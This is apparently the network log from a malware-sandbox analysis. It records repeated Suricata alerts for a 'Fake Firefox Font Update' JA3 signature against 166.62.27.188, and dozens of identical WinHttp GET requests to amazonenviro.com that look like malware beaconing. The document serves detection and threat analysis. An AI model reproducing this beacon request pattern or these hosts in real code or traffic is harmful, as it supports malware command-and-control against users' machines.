Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50028 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49793 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49747 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50073 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50087 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50099 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49754 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50112 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50061 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50135 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50141 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50143 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50139 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50153 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50155 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50129 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50149 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50124 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50147 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50131 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50145 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49992 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49785 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50137 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50151 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50133 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50050 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49919 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50016 -> 166.62.27.188:443

Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
Source: global traffic	HTTP traffic detected: GET /245_Nsltarpncon HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
